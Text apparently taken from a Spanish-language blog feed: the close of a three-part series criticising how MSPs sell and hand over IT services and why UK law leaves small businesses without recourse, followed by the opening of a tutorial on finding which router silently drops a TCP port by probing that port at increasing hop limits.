negocio lo bastante bien como para llegar con cosas que no pediste: una manera de hacer el cierre de mes que deja de derrumbarse, una licencia que pagas y que nadie ha abierto desde el año antepasado, una manera más barata de guardar los datos, un plan para la caja que todos han acordado en silencio no reiniciar. Parte de eso les cuesta ingresos decírtelo, que es exactamente por lo que es la señal honesta. Pregúntate cuándo puso tu proveedor por última vez delante de ti una recomendación que hacía su propia factura más pequeña.\nLa forma más común que eso toma no es un descuento. Es alguien repasando lo que ya corres. La mayoría de las empresas no están cortas de software, están cortas de cualquiera que se haya sentado alguna vez como es debido con el software que tienen: el nivel de licencia que ya incluye la función que se cotiza, el módulo pagado en el proyecto original y nunca desplegado, el flujo de trabajo en el sistema de finanzas que acabaría con el reteclear si alguien le diera dos días, la segunda suscripción comprada porque nadie preguntó al primer proveedor si su producto hacía eso también, los informes que nadie construyó nunca así que toda la empresa exporta a una hoja de cálculo y hace el trabajo ahí. Un proveedor de verdad empieza en ese montón. Lo que posees, qué se le puede hacer hacer, qué no hará nunca, y cuánto del problema desaparece si la cosa que ya pagas está configurada como se pretendía, todo eso antes de que nadie abra una lista de precios.\nLo que te dice cómo piensan ganar contigo, porque ese trabajo es de la clase incómoda. Significa leer la documentación de otro, aprender un sistema que no revenden y por el que no obtienen nada por conocer, y sentarse con la gente que lo usa todo el día para descubrir qué pasa de verdad a las cuatro de un viernes. Ninguna rebaja llega a la espalda de nada de eso. Es también todo lo que creías estar comprando. Y a veces la respuesta al final de verdad es un sistema nuevo, en cuyo caso compra el sistema nuevo. Gastar no es el problema. El orden es: qué corres, qué seguirá haciendo, dónde de verdad se queda corto, y solo entonces qué salir a conseguir. Una recomendación que se salta los tres primeros nunca fue una evaluación. Era un catálogo con tu nombre tecleado arriba.\nY un proveedor que nunca se ha sentado a aprender qué hace el negocio no puede hacer nada de eso. Hay una diferencia entre saber que tienes noventa buzones y saber qué hora de qué día dolería de verdad perder el sistema que toma los pedidos. Uno es inventario, el otro es comprensión, y solo el segundo produce consejo que vale el dinero. Una firma que no ha propuesto nada en tres años, que no puede decir qué vendes ni cuándo cae tu temporada alta, que mantiene las luces encendidas y sube la factura el mismo día cada mes, no es un socio y ha dejado de fingir serlo. Es una suscripción con un número de teléfono encima. No de las que conservar.\nEl fallo opuesto aparece con mejor traje. Es el proveedor que nunca está callado en absoluto, que tiene algo para ti cada trimestre, y cuya respuesta a cada pregunta que le has hecho volvió con una referencia de pieza pegada. Parece atención. Lo que separa el consejo de la venta no es su volumen, y tampoco es lo buenas que sean las diapositivas — es si la recomendación es capaz de volver como déjalo estar, no necesitas nada este año, y ese dinero se gasta mejor en la cosa del rincón que nadie ha presupuestado. Si ni una recomendación en toda la relación les ha costado nunca una venta, no te están asesorando. Te están haciendo pasar por una lista, y la parte uno trata de dónde vienen esas listas. Un socio te disuade de gastar a veces. Para todos los demás eres una cuenta que compra lo que se le enseña, que es una vaca lechera con un service desk pegado, y nadie implicado tiene que ser deshonesto para que sea exactamente lo que está pasando.\nDeshacerse de un mal proveedor Repasa lo que de verdad tiene que pasar. Todo. Credenciales administrativas entregadas para cada sistema. Documentación que describe cómo está construido el parque, suponiendo que exista. Control de los nombres de dominio, y de la cuenta donde sea que viva el DNS. Claves privadas de certificado. Suscripciones sacadas del acuerdo de socio del proveedor y metidas en una tenencia que es tuya. Su agente retirado de cada máquina, por ellos. Y el saliente cooperando con su reemplazo, en detalle, durante semanas, sin que se le pague nada por hacerlo y acabando de que le digan que está terminado.\nQué tiene que moverse a la salida, y quién lo tiene En manos de la empresa que dejas Cada credencial administrativa Documentación, si se escribió alguna Los dominios, y la cuenta de DNS Claves privadas de certificados Licencias bajo su trato de partner Su agente, en cada máquina que posees Y semanas de tiempo de sus ingenieros debe moverse sin pagar Tuyo, o de tu reemplazo Antes de que acabe el preaviso Y ese día Acaban de enterarse de que han terminado El ingeniero que conocía tu parque está en un trabajo que sí paga La mitad de lo que pides resulta ser facturable Nada de ello es sabotaje Cuanto peores hayan sido, menos de esa lista existe para entregar. Una empresa que nunca escribió tus requisitos tampoco escribió el paquete de traspaso, y el desorden es el foso. Así que pide el paquete hoy, mientras todos todavía se llevan bien, y comprueba una página de él contra una máquina real. Todo eso se sienta con la firma a la que acaban de decir que está terminada, y nada del movimiento es trabajo que nadie les pague por hacer. Ahora la parte que debería preocuparte más. Cuanto peor es un proveedor, más dura se vuelve esa salida, porque las carencias son las mismas carencias. Una firma que nunca puso tus requisitos por escrito no escribió el paquete de traspaso tampoco. Una firma que guardó las credenciales en una bóveda compartida no tiene forma limpia de dárselas a otro. Una firma sin playbook y sin prueba de restauración no tiene nada que entregar salvo acceso y buena suerte. El desorden es el foso. Nadie se sentó y lo diseñó así, y funciona mejor que si lo hubieran hecho.\nAsí que asume que la línea de documentación no aguanta. La documentación es la primera cosa en quedar sin escribir y la última que alguien comprueba, y lo que llegue a la salida describirá un parque que avanzó sin ella. Ese es el caso bueno. El malo es un paquete que parece completo y está equivocado: un diagrama con un switch encima que fue al vertedero hace dos años, un runbook para un servidor que se ha reconstruido desde entonces, una hoja de credenciales llena de cuentas con las que nadie puede iniciar sesión. Documentación equivocada es peor que ninguna, porque actúas sobre ella. Ninguna al menos te manda a ir a mirar.\nCotiza la salida como si nada la sobreviviera. Alguien recorre los racks, lee la configuración del equipo en vivo, exporta las reglas del cortafuegos y los ámbitos DHCP y los ficheros de zona, y anota qué corre de verdad. Eso son semanas de trabajo, y en una salida son semanas que gastas bajo preaviso, mientras que los únicos que saben las respuestas ya han sido informados de que están terminados. Hazlo ahora en su lugar. Pide el paquete hoy, luego toma una página y compruébala contra una máquina en vivo. Si aguanta, has aprendido algo que vale la pena saber. Si no vale los bits usados para guardarla, has aprendido eso también, y lo has aprendido con un año para arreglarlo en vez de una quincena.\nEsa línea de cooperación es la que de verdad dolerá, y es la que nadie cotiza. Reléela como una petición: a una firma que acaba de perder la cuenta se le pide pasar semanas explicándosela a la gente que se la quitó. Nadie tiene que negarse. La cuenta pasa al montón de los que se van, el ingeniero que conocía tu parque se va a un trabajo que todavía paga, y tus preguntas aterrizan con quien queda. Las respuestas vuelven en días en vez de horas. La llamada de traspaso se reserva a tres semanas vista. La mitad de lo que pides resulta ser facturable, y la única persona que construyó la cosa se fue en marzo. Nada de eso es sabotaje. Todo eso te cuesta exactamente lo que el sabotaje costaría.\nTu reemplazo lo carga, y luego lo cargas tú de nuevo. Su primer mes se va en averiguar qué han heredado. Eso es descubrimiento por el que no tienen nada que enseñarte, así que o lo cotizan honestamente y parecen caros frente a la renovación del saliente, o se lo tragan y empiezan el trabajo ya atrasados. Pagas de cualquier modo. Así que compra la cooperación antes de necesitarla. Ponla en el contrato a la entrada en vez de a la salida: un periodo de traspaso definido, una persona nombrada que lo hace, una tarifa por día acordada mientras todavía quieren tu firma, y un acceso que sigue vivo hasta que la firma entrante diga que puede irse. Paga por un solapamiento y cuéntalo barato. Y no llegues nunca al cambio con el proveedor saliente teniendo la única llave de algo que posees.\nEl papeleo hace su parte también. Periodos de preaviso medidos en meses en vez de semanas, fechas de renovación automática que pasan mientras todavía estás decidiendo, y un traspaso cotizado como servicios profesionales a una tarifa por día que alguien fija después de que ya has dado el preaviso. Nada de eso es inusual, y nada de eso rompe ninguna regla.\nAsí que prueba la salida mientras la relación va bien y nadie está molesto. Pide el paquete de traspaso ahora, por escrito, como un entregable en vez de una promesa. Pregunta quién es de verdad el titular de tus dominios. Pregunta si tus licencias se sientan en tu propia tenencia o bajo su acuerdo de socio, y qué implica moverlas. Un proveedor que hace el trabajo como es debido responderá a las tres de memoria, porque una firma segura de su trabajo no tiene razón para hacer difícil la marcha.\nY si las respuestas son vagas, recuerda lo que dice la siguiente sección sobre a quién te quejas.\nNo hay regulador para la venta Algo debería haberte estado incordiando a estas alturas. Cada carencia de esta serie que vino con una conclusión formal pegada es una carencia de seguridad. El ICO sobre Advanced. El ICO sobre Capita. La CISA sobre el utillaje. Sobre la venta — la lista corta, la rebaja, la opción única, la renovación — no hay nada. Ni una sola acción de ejecución contra un MSP británico.\nEso no es porque la venta sea limpia. Es porque nadie tiene el trabajo de mirarla.\nLa ley de consumo se para en tu puerta de entrada. La Consumer Rights Act 2015 protege a los consumidores, y una sociedad limitada que compra un servicio gestionado no es uno. La Digital Markets, Competition and Consumers Act 2024 entregó a la CMA poderes de ejecución directa en abril de 2025, apuntados de lleno a las prácticas de venta agresivas, la información engañosa y las cláusulas contractuales claramente desequilibradas. Son poderes de consumidor. El propio balance de la CMA del primer año vale la pena leerlo por la redacción tanto como por los números: catorce investigaciones, dos acuerdos, £760 000 «refunded to consumers» — reembolsados a los consumidores —, £4,7 millones en multas, 157 cartas de asesoramiento y advertencia. Consumidores, siempre. No el fabricante de treinta personas que firmó cinco años de servicio gestionado la primavera pasada.\nLas telecomunicaciones son el único rincón del que un regulador británico se ha acercado. Muestra a qué se parece la ejecución cuando alguien tiene el encargo. En julio de 2015 Ofcom multó a un pequeño proveedor de telecomunicaciones de empresa con £200 000 por vender de forma abusiva servicios de línea fija a una base de «around 100,000 small businesses» — unas 100 000 pequeñas empresas —, y le obligó a indemnizar a los clientes afectados y a reescribir sus materiales de venta. Conducta correcta, tamaño de cliente correcto, industria equivocada, y hace once años.\nNo hay equivalente para los servicios de TI. Súmalo desde donde estás sentado. Sin periodo de desistimiento. Sin defensor al que escalar. Sin regulador con jurisdicción. Sin deber sobre nadie de decirte lo que el fabricante le paga. Sin conclusiones publicadas de las que aprender, porque no hay ningún sitio del que una conclusión pueda venir. El contrato lo redactó el proveedor, y el único remedio en él es demandar — lo que significa costes, años, y un presupuesto legal que una pequeña empresa no tiene, como el proveedor bien sabe.\nEl asesoramiento financiero tuvo este mismo problema y lo resolvió. El arreglo no era complicado — decir quién paga al asesor, e impedir que el proveedor del producto sea la respuesta.\nNo habrá un RDR para la TI. Nadie viene a obligar a tu MSP a declarar lo que el fabricante le paga, y el Cyber Security and Resilience Bill que pasa ahora por el Parlamento, que metería a los proveedores de servicios gestionados dentro de las NIS Regulations, trata de detección y notificación en vez de de quién paga el consejo.\nAsí que cuando alguien te dice que no hay evidencia de un problema en cómo se vende la tecnología en este país, tiene razón. No significa nada en absoluto. No hay evidencia porque no hay inspector, no hay vía de queja que acabe en un documento público, y no hay registro de qué le pasó a cualquier otro que firmó el mismo contrato. En un mercado que nadie supervisa, la ausencia de evidencia es solo la ausencia de que nadie mire.\nLo que dice del oficio Quita las facturas y mira quién está de verdad de pie en este arreglo.\nEn un extremo, negocios que fabrican y hacen cosas. Una empresa que mecaniza piezas. Un taller. Una cocina que da de comer a la gente. Abogados metiendo a alguien en una casa un viernes. Cada uno produce algo que puedes señalar, y cada uno carga el riesgo de este artículo, porque son la única parte de la cadena que no puede declinar nada.\nEn el otro extremo, varias capas que no producen nada en absoluto. Un fabricante cuya licencia declina la aptitud para cualquier fin concreto. Un distribuidor moviendo una caja entre almacenes y llevándose un pedazo. Un programa de socios que paga a alguien por preferir un logo a otro. Un proveedor que vende horas contra una responsabilidad con tope. Cada uno se lleva su margen y pasa la consecuencia hacia abajo, y la consecuencia sigue viajando hasta que alcanza a la única persona que tiene que abrir las puertas el lunes.\nUn oficio es un cuerpo de gente que sabe hacer algo, que cobra por saberlo, y que respalda lo que dice porque su nombre está encima. Medida contra eso, la mayor parte de esta industria es un canal de distribución con certificaciones.\nMira lo que se ha cedido para llegar ahí. La competencia primero, porque no puedes cortar un tercio de lo que gastas en formación y seguir vendiendo pericia sin reírte. Luego el juicio, vendido al principio del encargo y declinado en el momento en que se pone a prueba. Y por último la simple voluntad de decir «esa no es la respuesta correcta para ti» cuando la respuesta correcta paga menos — que es la única cosa que separa el consejo de la venta, y no cuesta más que agallas.\nLa salida de todo esto es poco glamurosa y del todo disponible. Posee el equipo que puedas poseer. Ten tus propias llaves. Guarda la documentación en algún sitio que puedas alcanzar sin llamar a nadie. Aprende lo suficiente sobre tus propios sistemas como para saber cuándo te están diciendo una bobada — no para hacerlos correr tú mismo, solo para reconocer un adjetivo llegando donde se pidió un número. Eso no es nostalgia de cuando todos tenían un servidor en un armario. Es la única palanca en oferta, y es barata.\nHay gente en este oficio que nunca dejó de hacer el trabajo como es debido, y no son difíciles de detectar una vez que sabes qué buscar. Cotizan la opción aburrida. Te dicen lo que cuesta una cosa en vez de a cuánto está tarifada. Ponen el riesgo por escrito antes de que preguntes, y se alivian cuando alguien por fin comprueba.\nLos demás han arreglado las cosas para que nadie lo haga nunca. Tienes derecho a preguntar qué cuesta, quién paga a quién, y qué pasa cuando se rompe. Nadie en este arreglo va a ofrecerlo por su cuenta, y eso no es lo mismo que no debértelo.\nIs Your MSP Lying To You — 3 parts\n¿Tu MSP te miente para venderte productos premium? Lo que tu MSP te construyó, y quién más puede alcanzarlo Cuando se rompe, ¿quién lo carga de verdad?you are here Fuentes Recuperadas el 28 de agosto de 2026.\nLey y política.\nCyber Security and Resilience (Network and Information Systems) Bill 2024-26 — informe de la House of Commons Library sobre meter a los proveedores de servicios gestionados en las NIS Regulations. Quién tiene derecho a quejarse.\nConsumer Rights Act 2015 y la Digital Markets, Competition and Consumers Act 2024 — las protecciones, y para quién son. CMA, la ejecución directa de consumo un año después — de abril de 2025 a abril de 2026: 14 investigaciones, GBP 760 000 reembolsados a los consumidores, GBP 4,7 millones en multas. Ofcom multa a Unicom, 31 de julio de 2015 — GBP 200 000 por venta abusiva a pequeñas empresas, lo más cercano a un precedente de ejecución, en telecomunicaciones en vez de en TI. ","permalink":"https://blogs.damiendye.uk/es/random/is-your-msp-lying-to-you-part3/","summary":"Parte 3 de 3. Tiempos de respuesta en vez de resultados, un tope de responsabilidad fijado en los honorarios que ya pagaste, y un proveedor cuyas excusas acaban llegando hasta ti. Las preguntas que lo sacan a la luz, qué hace en su lugar uno de verdad, y qué hace falta para deshacerse de uno malo.","title":"Cuando se rompe, ¿quién lo carga de verdad?"},{"content":"Una conexión que expira no te dice casi nada. El otro extremo puede no tener nada escuchando, un firewall a tres saltos puede estar tragándose tu SYN en silencio sin generar ni una sola línea de registro, o la ruta puede simplemente no existir — y desde donde estás sentado, todo eso tiene el mismo aspecto. Esperas. No pasa nada.\nAsí que el ticket se escribe como «el puerto 445 está bloqueado en algún sitio», y «en algún sitio» es lo que lo hace rebotar. Tu proveedor comprueba su borde, lo encuentra limpio, y te lo devuelve. Tú compruebas el firewall de tu máquina, lo encuentras limpio, y se lo devuelves. Pasa una semana. Nada se arregla.\nLa palabra que hace el daño es «en algún sitio». No tiene por qué estar ahí. Cada router entre tú y el destino está obligado a decirte cuándo es él, y esa obligación está escrita en las normas desde 1995. Solo tienes que preguntar de la forma correcta.\nPor qué hay que dejarlo por escrito Porque demasiada gente en este sector no sabe hacer lo básico, y le cuesta a sus empresas dinero real cada semana.\nNo hablo de los junior. Hablo de gente con años a la espalda, certificaciones en la pared y «senior» en el título del puesto, cuyo diagnóstico de un puerto que expira se para en «está bloqueado» y no va más allá. Lanzan ping. Falla, o funciona, y en cualquier caso no han aprendido nada sobre el puerto por el que les preguntaban. Luego el ticket va al proveedor, el proveedor lo rebota, y quince días del sueldo de alguien se van en un hilo que podría haber sido un solo comando.\nNada de esto es difícil. Distinguir un descarte de un rechazo, leer el TTL de una respuesta, saber que una estrella en un traceroute no significa nada por sí sola — es una tarde de aprender y dura una carrera. La razón de que la gente no lo sepa no es que sean cortos. Es que nadie lo enseña. La formación de fabricante te enseña la consola de un fabricante. Las certificaciones te enseñan el examen. Los fundamentos de debajo se dan por sabidos el primer día y nunca se cubren de verdad, así que la gente llega a puestos senior sin que nunca se los hayan mostrado, y a esas alturas da vergüenza preguntar.\nAsí que en vez de quejarme, aquí lo tienes por escrito. Esto es lo básico, detallado, con los comandos y un script que puedes lanzar hoy.\nY una palabra sobre por qué me molesté: lancé esto contra mi propia línea mientras lo escribía y encontré tres defectos que no sabía que tenía. Un descarte de SMB a once saltos. Resets de SMTP forjados a un salto. Una regla de firewall que existe en IPv4 y no en IPv6. Una tarde, sin root, en una línea que gestiono yo mismo y a la que presto atención. Piensa un momento en lo que hay ahí, sin que nadie lo vea, en las redes que a alguien le pagan por gestionar.\nPor qué el Fisher-Price OS (Windows) no está aquí Dos razones por las que no está aquí. Una es técnica y la otra no, y prefiero darte las dos antes que fingir que todo es ingeniería.\nLa técnica es que no sabe hacer esto. tracert envía peticiones de echo de ICMP y nada más — la propia referencia de Microsoft lo describe como «sending Internet Control Message Protocol (ICMP) echo Request or ICMPv6 messages to the destination with incrementally increasing time to live (TTL) field values», y no hay ningún parámetro de puerto en ninguna parte de su sintaxis. pathping es esa misma herramienta con estadísticas atornilladas encima. Test-NetConnection te dirá que un puerto TCP está abierto o cerrado y absolutamente nada sobre a qué distancia se originó la respuesta. Ninguno de ellos puede sondear el puerto que de verdad te importa a una distancia elegida, que es todo el método de esta entrada.\nY tampoco puedes salirte del paso con un script. Poner el TTL en un socket es bastante fácil en .NET, pero releer el error ICMP es la mitad difícil, y no hay equivalente del truco en el que se apoya esta entrada — ninguna forma de que el núcleo informe del error en el socket corriente que lo causó. Queda el socket en bruto, y la propia documentación de Microsoft dice «only members of the Administrators group can create sockets of type SOCK_RAW». Así que la vía sin privilegios no existe y la privilegiada quiere un token de administrador local. Ya estás metido en descargas de terceros antes de haber empezado.\nLa otra razón es que me da igual, y prefiero decirlo a disfrazarlo. El nombre tampoco es un golpe gratuito, es una descripción. Es el sistema que te endosan cuando nunca has tenido otro, te esconde la máquina como objetivo de diseño y no por accidente, y en el instante en que quieres hacerle a la red una pregunta precisa resulta que la herramienta nunca se construyó — porque de la gente para la que está hecho no se esperaba que preguntara. Treinta años después y tracert todavía no sabe apuntar un paquete a un puerto.\nNo es un sistema operativo de verdad para informáticos de verdad, y si es el único que has usado en tu vida entonces no estás haciendo este trabajo al nivel para el que está escrita esta entrada. Sé que eso sienta mal. No escribo para caer bien, escribo lo que mido para gente que mide cosas, y me importa poco que a alguien que nunca ha corrido otra cosa le gustara más que lo dijera de otro modo.\nLa lista de herramientas es el argumento, no la opinión. Cada Unix de la tabla de más abajo te dejará poner un límite de saltos y elegir un protocolo, cuatro de ellos desde un solo comando, y Linux hará toda la medición sin ni siquiera un sudo. Y no es porque sean más difíciles de usar. Es porque los construyeron personas que esperaban que quien estuviera al teclado quisiera saber cosas. Un sistema operativo cuyo diagnóstico acaba en ping te ha dicho a las claras lo que piensa de la persona que lo usa, y treinta años de gente que lo aceptó son cómo acabamos con un sector incapaz de localizar un paquete perdido.\nAsí que no lo corro, no lo he corrido en serio desde hace años, y no voy a escribirle una sección propia para parecer ecuánime sobre una carencia que es real. Todo sobre lo que construyo y todo desde lo que vale la pena medir es Unix, y ahí es donde vive esta entrada.\nSi la máquina rota resulta estar corriendo el Fisher-Price OS (Windows), eso no cambia nada del método. Consigue un shell en cualquier otra cosa — una VM Linux, un Mac, una Raspberry Pi en el mismo switch — y sube el límite de saltos hacia ella. A la medición le da absolutamente igual qué corre el otro extremo. Solo le importa qué hay en medio.\nEl TTL es un presupuesto de saltos, y cada router te debe un recibo La cabecera IPv4 tiene un campo Time to Live de 8 bits. El nombre es un resto: se especificó en segundos, y nada lo trata como segundos desde hace décadas. La RFC 1812 zanjó la discusión en 1995 e hizo normativa la lectura en número de saltos:\nEach router (or other module) that handles a packet MUST decrement the TTL by at least one, even if the elapsed time was much less than a second. Since this is very often the case, the TTL is effectively a hop count limit on how far a datagram can propagate through the Internet.\nLuego la parte que importa aquí, de la misma sección:\nIf the TTL is reduced to zero (or less), the packet MUST be discarded, and if the destination is not a multicast address the router MUST send an ICMP Time Exceeded message, Code 0 (TTL Exceeded in Transit) message to the source.\nEso es un MUST. No una cortesía, no una sugerencia. La RFC 792 de 1981 solo decía que una pasarela «may also notify the source host»; trece años después el requisito se apretó, y la RFC 1812 dice por qué con todas las letras:\nICMP Time Exceeded messages are required because the traceroute diagnostic tool depends on them.\nIPv6 dejó el disimulo y renombró el campo. La RFC 8200 lo llama Hop Limit — «8-bit unsigned integer. Decremented by 1 by each node that forwards the packet» — y el mensaje de expiración pasó a ser el tipo 3, código 0 de ICMPv6, «hop limit exceeded in transit».\nLee eso como un instrumento en vez de como una regla y dice algo útil. Cada router del camino es una baliza a la que puedes dirigirte por la distancia. Pon el límite de saltos a 4 y el cuarto router se identifica. No necesitas conocer la topología, no necesitas acceso a nada, y no necesitas la cooperación del operador. Necesitas un paquete por salto.\nTraceroute hace exactamente esto desde finales de los años 1980. Lo que hace mal es justo la cosa que te importa, porque por defecto sondea puertos UDP en el rango de 33434, un puerto que nadie filtra y que nadie sirve, así que te informa de un camino que nada real usa jamás. Un traceroute limpio hacia una máquina a la que no llegas por TCP/445 solo prueba que el UDP/33434 llega ahí. Que nunca fue la pregunta.\nAsí que sondea el puerto que te importa.\nLee lo que volvió, no si volvió algo Antes de contar saltos, mira qué hace el otro extremo cuando lo alcanzas con un límite de saltos normal. Hay cinco respuestas distintas y la gente las reduce habitualmente a una sola.\nLo que vuelve Lo que significa Quién lo envió SYN-ACK, la conexión se abre el puerto está abierto el host, o algo que responde por él RST TCP rechazado activamente el host sin nada escuchando, o un equipo configurado para rechazar ICMP 3/13, communication administratively prohibited un equipo rechaza por política y lo dice ese equipo — su dirección de origen es tu respuesta ICMP 3/1, 3/2, 3/3 host, protocolo o puerto inalcanzable el último router, o el host nada en absoluto alguien descarta en silencio desconocido, así que ve y mídelo La tercera fila es aquella por la que vale la pena cambiar tus costumbres. Cuando un firewall está configurado para rechazar en vez de descartar, pone su propia dirección en el campo de origen del ICMP y te entrega al culpable gratis. En Linux es lo que produce nft ... reject with icmpx admin-prohibited, y lo que iptables -j REJECT --reject-with icmp-admin-prohibited ha producido siempre. La mayoría de las herramientas lo tiran y muestran «filtrado». nmap --reason te lo enseñará. El script de más abajo también.\nLas filas dos y cinco son el fallo interesante. Un descarte silencioso es una decisión de política de no decirte nada, y como es el valor por defecto en casi todos los firewalls comerciales, es el que te encontrarás de verdad. Cuenta con el silencio.\nLa fila dos también merece recelo. Un reset no es prueba de que el host lo enviara, y volveré a ello con un ejemplo real, porque encontré uno en mi propia línea mientras escribía esto.\nRecorre el puerto que te importa, dos veces El método son dos recorridos y un diff. Eso es todo.\nSube el límite de saltos de 1 a 20 con el protocolo y el puerto exactos que fallan, y anota qué router responde en cada salto. Haz lo mismo con algo que funcione — idealmente el mismo host y un puerto que abre. El salto donde las respuestas se paran en el recorrido uno, y siguen en el recorrido dos, es el equipo que te descarta. El recorrido dos te da su dirección. Por qué las respuestas se paran en vez de cambiar: un router aplica su lista de acceso de entrada antes de hacer cualquier otra cosa con el paquete, así que si la política dice descartar entonces el paquete ya se ha ido antes de que el camino de reenvío mire siquiera el límite de saltos, no se genera ningún Time Exceeded, y el equipo nunca firma lo que hizo. Por eso, el silencio empieza en el salto culpable, no después de él.\nEscribí una pequeña herramienta para el recorrido porque ninguna de las nativas lo hace de forma portable. Pone IP_TTL (o IPV6_UNICAST_HOPS) en un socket corriente, conecta, y relee el error ICMP. En Linux, IP_RECVERR informa de ese error en el mismísimo socket que lo provocó, lo que significa que todo funciona sin privilegios — sin root, sin sockets en bruto, sin capacidades. En macOS, los BSD y Solaris el núcleo no te entrega el ICMP de esa forma, así que recurre a un socket en bruto y necesita root.\n\u0026#8615; hopfind.py — el recorredor de TTL hopfind.py · 11 kB Son 279 líneas de biblioteca estándar y nada más, y todo está impreso al final de esta entrada si prefieres leerlo a descargarlo.\npython3 hopfind.py example.net 445 # the port under suspicion python3 hopfind.py example.net 443 # the reference run python3 hopfind.py example.net 53 --proto udp python3 hopfind.py 2001:db8::1 443 -6 Usa el mismo protocolo para los dos recorridos. Comparar una traza TCP con una traza ICMP es comparar dos caminos, porque el balanceo de carga hace hash sobre la quíntupla y el ICMP no tiene puertos que hashear. Mismo host, mismo protocolo, puerto distinto: esa es la comparación honesta.\nTodo lo de abajo es salida real de mi propia línea el 28 de agosto de 2026, lanzada como usuario sin privilegios en Fedora. Cada dirección de ella se ha reescrito en los rangos de documentación — RFC 5737 para IPv4, RFC 3849 para IPv6, con el único identificador de interfaz alterado también. Así que 198.51.100.x es mi propio router y mi ISP, 203.0.113.x es tránsito y peering, 192.0.2.x es la red remota, y 2001:db8::/32 es todo el camino IPv6. La estructura se conserva en todas partes: mismos límites de prefijo, mismas formas de parte de host, mismo número de redes distintas. Los números de salto, los tiempos, los tipos ICMP y qué salto se calló son exactamente como se midieron.\nUn host, tres puertos, tres defectos distintos El mismo destino en todo: una máquina en el internet público, a catorce saltos, con el 443 abierto. Primero el recorrido de referencia.\n$ python3 hopfind.py 192.0.2.4 443 --max 15 walking to 192.0.2.4 TCP/443 hop limit 1-15 1 198.51.100.254 0.3 ms ICMP 11/0 time exceeded in-transit 2 198.51.100.133 28.8 ms ICMP 11/0 time exceeded in-transit 3 * 4 198.51.100.153 6.3 ms ICMP 11/0 time exceeded in-transit 5 * 6 203.0.113.240 16.5 ms ICMP 11/0 time exceeded in-transit 7 203.0.113.188 16.5 ms ICMP 11/0 time exceeded in-transit 8 203.0.113.185 16.5 ms ICMP 11/0 time exceeded in-transit 9 203.0.113.15 15.6 ms ICMP 11/0 time exceeded in-transit 10 203.0.113.125 16.1 ms ICMP 11/0 time exceeded in-transit 11 192.0.2.31 26.6 ms ICMP 11/0 time exceeded in-transit 12 * 13 * 14 192.0.2.4 19.5 ms connected Verdict: TCP/443 is open. It answered at hop 14. Fíjate en los saltos 3, 5, 12 y 13. Cuatro routers en un camino que manifiestamente funciona no dijeron nada, porque mucho equipo está configurado para no generar ICMP por sí mismo, o lo limita en tasa muy fuerte. Una estrella no es prueba de un firewall. Quédate con eso aunque no te quedes con nada más. La señal nunca es la presencia de estrellas en un solo recorrido; es el punto donde dos recorridos dejan de coincidir.\nAhora el mismo host en el 445, que expira desde aquí.\n$ python3 hopfind.py 192.0.2.4 445 --max 15 walking to 192.0.2.4 TCP/445 hop limit 1-15 1 198.51.100.254 0.3 ms ICMP 11/0 time exceeded in-transit 2 198.51.100.133 8.0 ms ICMP 11/0 time exceeded in-transit 3 * 4 198.51.100.153 6.4 ms ICMP 11/0 time exceeded in-transit 5 203.0.113.76 5.6 ms ICMP 11/0 time exceeded in-transit 6 203.0.113.240 15.9 ms ICMP 11/0 time exceeded in-transit 7 203.0.113.188 15.8 ms ICMP 11/0 time exceeded in-transit 8 203.0.113.185 16.6 ms ICMP 11/0 time exceeded in-transit 9 203.0.113.15 15.9 ms ICMP 11/0 time exceeded in-transit 10 203.0.113.125 15.0 ms ICMP 11/0 time exceeded in-transit 11 * 12 * 13 * 14 * 15 * Verdict: answers stop after hop 10 (203.0.113.125). Whatever swallows TCP/445 is hop 11. Walk a port that works and read off the address at hop 11. El salto 11 respondió al recorrido del 443 en 26,6 ms y no dijo nada en absoluto al recorrido del 445. Misma caja, mismo camino, los mismos diez routers delante. Cruza con el recorrido que funciona y el salto 11 tiene nombre: 192.0.2.31. Ese es el equipo que descarta SMB, a tres saltos del destino y a ocho saltos más allá del borde de mi proveedor. No el mío, y no el de mi ISP.\nEl salto 5 hace la demostración sobre las estrellas en el otro sentido. Era una estrella en el recorrido del 443 y respondió en el del 445 — al revés que el defecto. Puede ser limitación de tasa de ICMP, o pueden ser los dos recorridos tomando caminos distintos a través de un balanceador de carga. No sé cuál, y tú tampoco. Repite los dos recorridos antes de creerte cualquiera de ellos.\nDos recorridos de límite de saltos al mismo host, y el salto donde dejan de coincidir Dos recorridos al mismo host, y el salto donde dejan de coincidir Una sonda por límite de saltos. Una celda sombreada significa que ese router devolvió ICMP Time Exceeded y se nombró a sí mismo. el router respondió no volvió nada en silencio a partir de aquí 1 2 3 4 5 6 7 8 9 10 11 12 13 14 límite de saltos en la sonda TCP/443 referencia, abre \u0026#8226; \u0026#8226; * \u0026#8226; * \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; * * \u0026#10003; abre TCP/445 bajo prueba, expira \u0026#8226; \u0026#8226; * \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; * * * * el salto 11 respondió a un recorrido y al otro no Los saltos 3, 5, 12 y 13 no dijeron nada en un camino que funciona, así que una estrella por sí sola no dice nada. El salto 11 respondió al recorrido de referencia en 26,6\u0026#160;ms y al de prueba no respondió nunca. Esa es la frontera, y el recorrido de referencia es lo que le da una dirección:\u0026#160;192.0.2.31. Los mismos dos recorridos, uno al lado del otro. La única celda que importa es el salto 11, y lo que importa de ella es el desacuerdo: respondió a un recorrido y al otro no. Luego el puerto 25. Este me paró en seco.\n$ python3 hopfind.py 192.0.2.4 25 --max 15 walking to 192.0.2.4 TCP/25 hop limit 1-15 1 192.0.2.4 0.4 ms TCP reset Verdict: a reset came back to a probe with a hop limit of 1. Nothing more than one hop away can have sent it, so check the reply TTL before you believe the host did. Un límite de saltos de 1 significa que el paquete murió en mi propio router. Dio un salto. No puede haber dado catorce. Y sin embargo volvió un reset TCP en 0,4 ms con la dirección del destino encima, y mi núcleo informó dócilmente de «conexión rechazada». Sin el límite de saltos puesto lo habría leído como «el otro extremo no tiene servidor de correo» y habría cerrado el ticket.\nAlgo a un salto forja resets para el SMTP saliente y los firma con la dirección del destino. Bloquear el 25 saliente es una cosa perfectamente corriente para un router de consumo o un ISP, y hacerlo con un reset en vez de un descarte es probablemente la versión educada, pero el reset lleva la dirección de otro y yo no tenía ni idea de que la mía lo hiciera. El límite de saltos es lo que lo pilló, y nada más en la respuesta lo habría hecho.\nFuera por uno: dónde se coloca la lista de acceso en el pipeline El veredicto de arriba dice que el que descarta es el salto 11 porque las respuestas se pararon después del salto 10. Cuidado con esa aritmética, porque depende del orden en que el equipo culpable hace dos trabajos.\nLa mayoría del equipo aplica la política de entrada primero y la 